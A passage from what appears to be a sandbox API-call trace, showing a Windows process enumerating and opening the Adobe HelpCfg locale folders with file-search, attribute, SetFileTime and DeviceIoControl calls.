nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0086.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.491] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.492] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.492] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.492] NtClose (Handle=0x180) returned 0x0 [0086.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.493] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.493] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.494] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb248 [0086.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9088 [0086.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.496] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.496] GetLastError () returned 0x12 [0086.496] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.496] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.496] GetLastError () returned 0x12 [0086.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.496] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.497] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0086.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.538] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.539] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.540] NtClose (Handle=0x168) returned 0x0 [0086.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.541] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.541] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb268 [0086.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9190 [0086.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.543] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.543] GetLastError () returned 0x12 [0086.543] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.543] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.543] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.543] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.543] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.543] GetLastError () returned 0x12 [0086.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.544] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.544] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0086.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.545] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.545] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.545] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.546] NtClose (Handle=0x180) returned 0x0 [0086.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.547] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.547] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.547] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb288 [0086.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9298 [0086.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.549] GetLastError () returned 0x12 [0086.549] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.549] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.549] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.549] GetLastError () returned 0x12 [0086.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.550] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.550] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0086.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.552] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.552] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.552] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.553] NtClose (Handle=0x168) returned 0x0 [0086.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.553] 